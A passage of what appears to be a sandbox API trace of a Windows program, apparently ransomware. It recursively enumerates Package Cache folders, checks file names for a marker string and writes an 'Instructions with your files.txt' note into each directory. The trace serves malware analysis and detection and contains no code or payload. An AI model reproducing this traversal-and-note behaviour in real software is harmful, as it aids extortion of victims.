[0126.468] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0126.468] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0126.468] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0126.468] CloseHandle (hObject=0x10c) returned 1
[0126.468] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0126.469] GetProcessHeap () returned 0x810000
[0126.469] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0126.469] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1
[0126.469] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned 82
[0126.469] GetProcessHeap () returned 0x810000
[0126.469] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0126.469] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*") returned 84
[0126.469] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0126.628] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\.") returned 84
[0126.628] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.628] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\..") returned 85
[0126.628] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0126.628] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned 91
[0126.629] GetProcessHeap () returned 0x810000
[0126.629] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0126.629] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*") returned 93
[0126.629] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0126.630] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\.") returned 93
[0126.630] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.630] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\..") returned 94
[0126.630] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedc37f80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedc37f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1
[0126.630] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86") returned 115
[0126.630] GetProcessHeap () returned 0x810000
[0126.630] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x88bbf8
[0126.630] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*") returned 117
[0126.630] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedc37f80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedc37f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0126.631] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\.") returned 117
[0126.631] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedc37f80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedc37f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.631] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\..") returned 118
[0126.631] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aae6600, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0x8aae6600, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0x8aae6600, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0x4ea418, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
[0126.631] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 124
[0126.631] StrStrIW (lpFirst="cab1.cab", lpSrch="SDfghjkl") returned 0x0
[0126.631] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
[0126.631] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned 144
[0126.631] StrStrIW (lpFirst="vc_runtimeAdditional_x86.msi", lpSrch="SDfghjkl") returned 0x0
[0126.631] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
[0126.631] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\Instructions with your files.txt") returned 148
[0126.631] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0126.634] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0126.635] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0126.635] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0126.635] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0126.635] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0126.635] CloseHandle (hObject=0x114) returned 1
[0126.636] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0126.636] GetProcessHeap () returned 0x810000
[0126.636] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x88bbf8 | out: hHeap=0x810000) returned 1
[0126.636] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedc37f80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedc37f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0
[0126.636] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\Instructions with your files.txt") returned 124
[0126.636] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0126.636] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0126.637] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0126.637] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0126.637] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0126.637] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0126.637] CloseHandle (hObject=0x110) returned 1
[0126.637] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0126.638] GetProcessHeap () returned 0x810000
[0126.638] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0126.638] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0126.638] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\Instructions with your files.txt") returned 115
[0126.638] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0126.638] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0126.639] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0126.639] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0126.639] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0126.639] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0126.639] CloseHandle (hObject=0x10c) returned 1
[0126.639] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0126.640] GetProcessHeap () returned 0x810000
[0126.640] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0126.640] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1
[0126.640] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned 82
[0126.640] GetProcessHeap () returned 0x810000
[0126.640] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0126.640] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*") returned 84
[0126.640] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0126.640] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\.") returned 84
[0126.640] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.640] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\..") returned 85
[0126.640] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0126.640] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned 91
[0126.640] GetProcessHeap () returned 0x810000
[0126.640] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0126.640] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*") returned 93
[0126.640] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0126.643] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\.") returned 93
[0126.643] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.643] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\..") returned 94
[0126.643] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1
